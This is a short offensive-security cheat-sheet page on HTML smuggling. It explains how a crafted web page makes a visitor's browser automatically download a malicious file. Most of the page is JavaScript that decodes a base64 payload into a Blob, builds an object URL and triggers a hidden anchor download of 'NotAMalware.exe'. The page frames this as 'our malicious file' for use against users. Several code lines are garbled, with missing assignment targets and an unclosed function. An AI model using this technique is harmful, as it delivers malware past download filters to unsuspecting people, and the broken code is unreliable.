Skip to content

HTML Smuggling



HTML Smuggling consists of making a user to navigate to our crafted HTML page which automaticaly download our malicious file.

Executable storage

We can store our payload in a Blob object => JS: var blob = new Blob([data], {type: 'octet/stream'}); To perform the download, we need to create an Object Url => JS: var url = window.URL.createObjectURL(blob); With those two elements, we can create with Javascript our \ tag which will be used to download our malicious file:

var a = document.createElement('a');
document.body.appendChild(a); = 'display: none';
var url = window.URL.createObjectURL(blob);
a.href = url; = fileName;;

To store ou payload, we use base64 encoding:

function base64ToArrayBuffer(base64) {
    var binary_string = window.atob(base64);
    var len = binary_string.length;
    var bytes = new Uint8Array( len );
    for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); }
    return bytes.buffer;

var data = base64ToArrayBuffer(file);
var blob = new Blob([data], {type: 'octet/stream'});
var fileName = 'NotAMalware.exe';